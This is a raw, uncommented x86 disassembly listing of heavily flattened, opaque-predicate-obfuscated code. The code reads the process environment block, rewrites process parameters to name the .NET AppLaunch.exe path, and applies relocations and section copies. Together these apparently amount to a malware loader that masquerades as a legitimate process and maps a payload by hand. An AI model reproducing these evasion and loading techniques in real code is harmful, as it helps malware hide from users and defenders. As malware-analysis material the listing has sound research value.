xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8d0166b2
jmp 0x404bc7
cmp eax, 0x8a06e81a
je 0x4045a1
cmp eax, 0x8b124fc3
jne 0x4014e0
mov eax, 0xf4813231
jmp 0x4014e0
cmp eax, 0x5153e11b
je 0x4045e4
cmp eax, 0x521bdef9
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0xb0f44400
mov ebx, 0xc3ee01e2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc3ee01e2
jmp 0x404bc7
cmp eax, 0xe8a4f745
je 0x404618
cmp eax, 0xe996f181
jne 0x4014e0
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
mov eax, 0x48600
call fcn.004388f0
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
mov eax, 0x56ffcc2e
jmp 0x4014e0
cmp eax, 0x2a478170
je 0x40462d
cmp eax, 0x2a8ef148
jne 0x4014e0
mov eax, 0x6d0b0908
jmp 0x4014e0
cmp eax, 0xa50a92eb
je 0x404637
cmp eax, 0xa7c8f8fb
jne 0x4014e0
mov eax, dword [ebp - 0xd0]
mov eax, 0x76533bfb
jmp 0x4014e0
cmp eax, 0x6e7a09c3
je 0x404647
cmp eax, 0x71e4e700
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0x521bdef9
mov edi, 0xc3ee01e2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc3ee01e2
jmp 0x404734
cmp eax, 0xc88b7661
je 0x404651
cmp eax, 0xc8dba857
jne 0x4014e0
mov eax, 0x6890d08d
jmp 0x4014e0
cmp eax, 0x16103484
je 0x40465b
cmp eax, 0x1672616c
jne 0x4014e0
mov eax, 0x35be3be3
jmp 0x4014e0
cmp eax, 0x96106df4
je 0x40468d
cmp eax, 0x96382956
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x588eed3a
lea eax, [edx - 1]
jmp 0x404f1f
cmp eax, 0x6010daf5
je 0x404697
cmp eax, 0x60176552
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0x8eefe35e
mov edi, 0x9e01203f
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x9e01203f
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x404734
cmp eax, 0xf8d0faab
je 0x4046be
cmp eax, 0xf9bfbadc
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0xe53b271f
mov edi, 0xf83f9824
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf83f9824
jmp 0x4014c3
cmp eax, 0x39e166c8
je 0x4046c8
cmp eax, 0x3bab4e23
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x9af8a0af
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x32b61695
jmp 0x4045cf
cmp eax, 0xb8d59fdf
je 0x4046e2
cmp eax, 0xba0a9480
jne 0x4014e0
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
add eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, 0x96106df4
jmp 0x4014e0
cmp eax, 0x7c841484
je 0x404713
cmp eax, 0x7d0f172a
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0x66eb7bff
mov edi, 0x6cc9554d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x6cc9554d
jmp 0x4014c3
cmp eax, 0xccc36979
je 0x404751
cmp eax, 0xccd9d5b9
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0x152afe0e
mov ebx, 0xd4a241bf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xd4a241bf
jmp 0x404d2c
cmp eax, 0x5dd488e
je 0x40475b
cmp eax, 0x7b569b7
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0x1033527d
mov ebx, 0x1adf7441
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x1adf7441
jmp 0x404d2c
cmp eax, 0x83c30179
je 0x404791
cmp eax, 0x85162c24
jne 0x4014e0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x58]
mov eax, 0xd36182c1
jmp 0x4014e0
cmp eax, 0x4f8c3add
je 0x4047a7
cmp eax, 0x4f9965e4
jne 0x4014e0
mov eax, dword [ebp - 0x80]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x80]
vmovups ymm0, ymmword [0x49f880]
vmovups ymm1, ymmword [0x49f868]
vmovups ymm2, ymmword [0x49f848]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x84]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x8c]
mov eax, 0x5dd488e
jmp 0x4014e0
cmp eax, 0xe6575693
je 0x4047ce
cmp eax, 0xe69d3438
jne 0x4014e0
xor esi, esi
mov eax, 0x7f03646d
jmp 0x4014e0
cmp eax, 0x25ea6d2c
je 0x404801
cmp eax, 0x27b021d7
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0x5c602b5
mov edi, 0xe72c3244
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xe72c3244
jmp 0x4014c3
cmp eax, 0xa087eb73
je 0x404835
cmp eax, 0xa1153f7f
jne 0x4014e0
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3c]
mov eax, 0x34f15f37
jmp 0x4014e0
cmp eax, 0x6c6b1bdb
je 0x40483f
cmp eax, 0x6cc9554d
jne 0x4014e0
mov eax, 0x7d0f172a
jmp 0x4014e0
cmp eax, 0xc4ca3934
je 0x404854
cmp eax, 0xc4ed4f51
jne 0x4014e0
cmp byte [ebp - 0x67], 0
mov eax, 0xffc8cca5
mov ecx, 0x25ea6d2c
cmovne eax, ecx
jmp 0x4014e0
cmp eax, 0x13e871b6
je 0x404867
cmp eax, 0x1415bab2
jne 0x4014e0
mov eax, 0x97016f3e
jmp 0x4014e0
cmp eax, 0x951d283f
je 0x404896
cmp eax, 0x9527f8fc
jne 0x4014e0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, 0x588eed3a
jmp 0x4014e0
cmp eax, 0x595fa0fb
je 0x4048b6
cmp eax, 0x5a0d45d4
jne 0x4014e0
mov eax, dword [ebp - 0x98]
mov dword [eax], 1
mov eax, 0xeec03ea2
jmp 0x4014e0
cmp eax, 0xf4813231
je 0x4048dd
cmp eax, 0xf681448a
jne 0x4014e0
mov eax, dword [ebp - 0xf4]
mov eax, 0x12673bb1
jmp 0x4014e0
cmp eax, 0x334fd89e
je 0x404904
cmp eax, 0x34f15f37
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x592054fe
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xdf38ade8
jmp 0x4045cf
cmp eax, 0xb452ffd9
je 0x404924
cmp eax, 0xb4a42fec
jne 0x4014e0
mov eax, 0xfbfc7ccd
jmp 0x4014e0
cmp eax, 0x78c65cc6
je 0x404ac5
cmp eax, 0x78e1d307
jne 0x4014e0
mov eax, dword [ebp - 0x74]
mov eax, 0x2de1d930
jmp 0x4014e0
cmp eax, 0xdfcee8ee
je 0x404af0
cmp eax, 0xe089c0d9
jne 0x4014e0
push eax
mov edi, dword [0x4ac3e8]
mov edx, dword [0x4ac3e4]
mov ecx, esp
mov dword [ebp - 0x98], ecx
lea eax, [edi + 1]
imul eax, edi
mov edi, 0x6e7a09c3
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0x74c33db5
cmovne edi, ebx
cmp eax, 0xffffffff
mov eax, edi
cmove eax, ebx
cmp edx, 0xa
cmovge eax, edi
jmp 0x4014e0
cmp eax, 0xd8e2857
je 0x404afa
cmp eax, 0xde8506d
jne 0x4014e0
mov eax, 0x664d2836
jmp 0x4014e0
cmp eax, 0x8dbeeea5
je 0x404b04
cmp eax, 0x8e1b6707
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x3fefb00d
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x234181c2
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x14]
cmovge eax, edi
mov ecx, dword [ecx]
add ecx, 0x18
mov dword [ebp - 0x110], ecx
jmp 0x4014e0
cmp eax, 0x5458168d
je 0x404b17
cmp eax, 0x554461fa
jne 0x4014e0
mov eax, dword [ebp - 0x128]
movzx eax, word [eax + 2]
mov ecx, dword [ebp - 0x124]
cmp ecx, eax
mov eax, 0x71e4e700
setl byte [ebp - 0x68]
jmp 0x4014e0
cmp eax, 0xebf1ec6f
je 0x404b53
cmp eax, 0xecdd7d11
jne 0x4014e0
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
mov edi, dword [ebp - 0x2c]
mov edi, dword [edi]
lea edi, [edi + edi*4]
add ecx, dword [edx + edi*8 + 0x14]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
mov edi, dword [ebp - 0x2c]
mov edi, dword [edi]
lea edi, [edi + edi*4]
push dword [edx + edi*8 + 0x10]
push ecx
push eax
vzeroupper
call fcn.0043b760
add esp, 0xc
mov eax, 0x8e86a7c5
jmp 0x4014e0
cmp eax, 0x2ef8d5b9
je 0x404b73
cmp eax, 0x2f24026b
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0x18f9c375
mov edi, 0x525459c4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x525459c4
jmp 0x4014c3
cmp eax, 0xad727973
je 0x404b8f
cmp eax, 0xadaf57a6
jne 0x4014e0
mov eax, 0x187e924c
jmp 0x4014e0
cmp eax, 0x747be783
je 0x404be4
cmp eax, 0x74c33db5
jne 0x4014e0
mov eax, 0xe996f181
jmp 0x4014e0
cmp eax, 0xca86cbf6
je 0x404bfa
cmp eax, 0xcad07f76
jne 0x4014e0
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x1b4]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x88]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x48]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0xc80ec6de
jmp 0x4014e0
cmp eax, 0x18f9c375
je 0x404c04
cmp eax, 0x19c9320f
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov ebx, 0xe16bd66d
mov edi, 0xbe46e715
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xbe46e715
jmp 0x4014c3
cmp eax, 0x980fca51
je 0x404c3f
cmp eax, 0x98a83e4e
jne 0x4014e0
mov eax, dword [ebp - 0x1a8]
mov ecx, 0xb2ecc156
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0x669e8274
cmove eax, ecx
jmp 0x4014e0
cmp eax, 0x64f37cc2
je 0x404c87
cmp eax, 0x6521a46f
jne 0x4014e0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x198], eax
mov eax, 0x76f5d99b
jmp 0x4014e0
cmp eax, 0xfbfc7ccd
je 0x404c91
cmp eax, 0xfd54cf9e
jne 0x4014e0
mov eax, dword [ebp - 0x24]
mov dword [eax], 4
mov eax, 0x27b021d7
jmp 0x4014e0
cmp eax, 0x4166b1f7
je 0x404cd7
cmp eax, 0x424b4e3f
jne 0x4014e0
mov eax, dword [ebp - 0x60]
mov eax, 0x56d695f8
jmp 0x4014e0
cmp eax, 0xbe66c831
je 0x404cff
cmp eax, 0xbee18047
jne 0x4014e0
mov eax, dword [ebp - 0x48]
mov edi, 0x7dbbda82
mov eax, dword [eax]
mov ecx, dword [ebp - 0x90]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x8845bd2f
jmp 0x404fc6
cmp eax, 0x7df357cf
je 0x404d4b
cmp eax, 0x7e0459a8
jne 0x4014e0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, 0x374b5a23
jmp 0x4014e0
cmp eax, 0xd512fc6a
je 0x404d7e
cmp eax, 0xd85a2e3b
jne 0x4014e0
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, 0x73cf3a40
jmp 0x4014e0
cmp eax, 0x54e0130
je 0x404d8e
cmp eax, 0x5c602b5
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0x17ddc7b0
mov ebx, 0xe72c3244
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xe72c3244
jmp 0x404d2c
cmp eax, 0x814770eb
je 0x404d9b
cmp eax, 0x825f2f1b
jne 0x4014e0
cmp byte [ebp - 0x6a], 0
mov eax, 0x8b6b360e
mov ecx, 0x528c6058
cmovne eax, ecx
jmp 0x4014e0
cmp eax, 0x4a9b5742
je 0x404dbe
cmp eax, 0x4c399ca3
jne 0x4014e0
mov eax, dword [ebp - 0x2c]
mov eax, 0x8c61f887
jmp 0x4014e0
cmp eax, 0xe5988a8e
je 0x404df2
cmp eax, 0xe637761a
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0xf28e8d55
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x78b334c9
jmp 0x404fc6
cmp eax, 0x2440edca
je 0x404e12
cmp eax, 0x246f41f4
jne 0x4014e0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, 0x50f02537
jmp 0x4014e0
cmp eax, 0x9e9992e8
je 0x404e1f
cmp eax, 0xa06ac5c5
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0x27d7dc82
mov ebx, 0xaebc0b16
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xaebc0b16
jmp 0x404d2c
cmp eax, 0x69a1540c
je 0x404e34
cmp eax, 0x6c3e8e91
jne 0x4014e0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0xce8155c
setne byte [ebp - 0x70]
jmp 0x4014e0
cmp eax, 0xc421be22
je 0x404e94
cmp eax, 0xc4406928
jne 0x4014e0
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, 0xe637761a
jmp 0x4014e0
cmp eax, 0x12313a21
je 0x404ec6
cmp eax, 0x12673bb1
jne 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0xf681448a
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x174451d1
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0xf4]
cmovge ecx, edi
cmp dword [eax], 0
mov eax, ecx
setne byte [ebp - 0x6d]
jmp 0x4014e0
cmp eax, 0x92a7c3c9
je 0x404ed0
cmp eax, 0x94233428
jne 0x4014e0
mov eax, dword [ebp - 0xa0]
mov eax, dword [0x4ac3e8]
mov edi, 0xe21bf93d
mov ebx, 0x91b7e579
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x91b7e579
jmp 0x40411b
cmp eax, 0x588eed3a
je 0x404f00
cmp eax, 0x592054fe
jne 0x4014e0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0xdf38ade8
jmp 0x4014e0
cmp eax, 0xf30be14b
je 0x404f50
cmp eax, 0xf34d9506
jne 0x4014e0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x40
mov eax, 0xed7d9543
jmp 0x4014e0
cmp eax, 0x321b5675
je 0x404f73
cmp eax, 0x32b61695
jne 0x4014e0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xec]
mov edi, 0x9af8a0af
mov dword [eax], ecx
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xaca02ffa
jmp 0x4045cf
cmp eax, 0xb161ec07
je 0x404f99
cmp eax, 0xb2ecc156
jne 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0x3e5de9bb
mov ebx, 0xfed619c6
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xfed619c6
jmp 0x404d2c
cmp eax, 0x782a2c2d
je 0x404fdd
cmp eax, 0x78b334c9
jne 0x4014e0
mov eax, dword [ebp - 0x40]
mov ebx, 0x9576505a
mov edi, 0xf28e8d55
mov eax, dword [eax]
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa4]
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf28e8d55
jmp 0x4014c3
cmp eax, 0xdaf50100
je 0x404fe7
cmp eax, 0xdf38ade8
jne 0x4014e0
mov eax, dword [ebp - 0x18]
mov edi, 0x782a2c2d
mov ebx, 0x592054fe
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, dword [0x4ac3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x592054fe
jmp 0x404bc7
cmp eax, 0xc44c603
je 0x405017
cmp eax, 0xce8155c
jne 0x4014e0
cmp byte [ebp - 0x70], 0
mov eax, 0xb2ecc156
mov ecx, 0x3172ef13
cmovne eax, ecx
jmp 0x4014e0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 7
mov eax, 0x78e1d307
jmp 0x4014e0
mov eax, 0x951d283f
jmp 0x4014e0
mov eax, dword [ebp - 0x20]
mov eax, 0x18f9c375
jmp 0x4014e0
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0xc8], ax
mov eax, 0x334fd89e
jmp 0x4014e0
mov eax, 0xdaf50100
jmp 0x4014e0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xd8]
mov eax, 0xad727973
jmp 0x4014e0
mov edx, dword [0x4ac3e8]
mov eax, dword [0x4ac3e4]
mov edi, 0xc147b8f1
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xdfcee8ee
jmp 0x404fc6
mov eax, 0x56e7f88a
jmp 0x4014e0
mov eax, 0xcad07f76
jmp 0x4014e0
mov eax, 0x28217df3
jmp 0x4014e0
mov eax, dword [ebp - 0x1a4]
mov ecx, 0x6c3e8e91
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0x2f24026b
cmove eax, ecx
jmp 0x4014e0
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x74]
inc eax
mov dword [ecx], eax
mov eax, 0xf6a7bed7
jmp 0x4014e0
mov eax, dword [ebp - 0xf0]
mov eax, 0xc983cc8c
jmp 0x4014e0
mov eax, 0x2f5cfeb9
jmp 0x4014e0
cmp byte [ebp - 0x6d], 0
mov eax, 0xc44c603
mov ecx, 0xb757fa9a
cmovne eax, ecx
jmp 0x4014e0
mov eax, 0xf9bfbadc
jmp 0x4014e0
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ecx], eax
mov eax, 0xb149108f
jmp 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0xbee18047
mov ebx, 0x7dbbda82
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x7dbbda82
jmp 0x404d2c
mov edx, dword [0x4ac3e8]
mov ecx, dword [0x4ac3e4]
mov edi, 0x12313a21
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2440edca
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x14]
cmovge eax, edx
mov ecx, dword [ecx]
add ecx, 0x34
mov dword [ebp - 0x11c], ecx
jmp 0x4014e0
mov eax, dword [ebp - 0x174]
add eax, 0x10
mov dword [ebp - 0xf0], eax
mov eax, 0x16103484
jmp 0x4014e0
cmp byte [ebp - 0x6c], 0
mov eax, 0x742f4eeb
mov ecx, 0x2e3f8e
cmovne eax, ecx
jmp 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0x76533bfb
mov ebx, 0xa7c8f8fb
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa7c8f8fb
jmp 0x40411b
mov eax, dword [ebp - 0x20]
mov ebx, 0x1672616c
mov edi, 0xfed619c6
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, dword [0x4ac3e8]
mov dword [ebp - 0x1ac], ecx
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xfed619c6
jmp 0x4014c3
mov eax, dword [ebp - 0x14]
mov eax, 0x8e1b6707
jmp 0x4014e0
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
inc eax
mov dword [ecx], eax
mov eax, 0x76071ac8
jmp 0x4014e0
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov eax, 0x39e166c8
jmp 0x4014e0
mov eax, dword [ebp - 0x160]
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
add ecx, dword [ebp - 0x15c]
mov dword [ebp - 0xc4], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
add eax, dword [ebp - 0x158]
mov dword [ebp - 0xe8], eax
mov eax, 0x5153e11b
jmp 0x4014e0
mov eax, dword [ebp - 0x1c]
mov eax, 0xbe66c831
jmp 0x4014e0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub eax, 0xffffff80
mov dword [ebp - 0x170], eax
mov eax, 0xba0a9480
jmp 0x4014e0
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x104]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx]
mov edi, dword [ebp - 0x28]
lea ecx, [ecx + ecx*4]
mov edi, dword [edi]
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
add edx, dword [edi + ebx*8 + 0xc]
push dword [ebp - 0xc0]
push dword [ebp - 0xfc]
push dword [eax + ecx*8 + 8]
push edx
vzeroupper
call fcn.004012d0
add esp, 0x10
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, 0x79b31a73
jmp 0x4014e0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 5
mov eax, 0x7f4824fe
jmp 0x4014e0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, 0xc1fe125f
jmp 0x4014e0
mov eax, dword [0x4ac3e8]
mov edi, 0x92a7c3c9
mov ebx, 0xd8b3d3c8
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd8b3d3c8
jmp 0x404d2c
mov eax, 0xcbd62dd0
jmp 0x4014e0
mov eax, 0xae682203
jmp 0x4014e0
mov esi, dword [ebp - 0x114]
mov eax, 0x7f03646d
jmp 0x4014e0
mov eax, 0x5c602b5
jmp 0x4014e0
mov eax, dword [ebp - 0x54]
mov eax, 0xd27dc07d
jmp 0x4014e0
cmp dword [ebp - 0xf8], 0
mov eax, dword [0x4ac3e8]
mov ebx, 0xc73f2a52
mov edi, 0xaebc0b16
lea ecx, [eax + 1]
setne byte [ebp - 0x6f]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xaebc0b16
jmp 0x4014c3
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0xf4], eax
mov eax, 0xe6575693
jmp 0x4014e0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x38]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.0043b760
add esp, 0xc
mov eax, 0xda936796
jmp 0x4014e0
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0xd0], eax
mov eax, 0xfa15a52c
jmp 0x4014e0
mov eax, 0x454ec7ba
jmp 0x4014e0
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x194], eax
mov eax, 0x7737f999
jmp 0x4014e0
mov eax, 0xf231cadf
jmp 0x4014e0
cmp byte [ebp - 0x6f], 0
mov eax, 0x6c3e8e91
mov ecx, 0xfd54cf9e
cmovne eax, ecx
jmp 0x4014e0
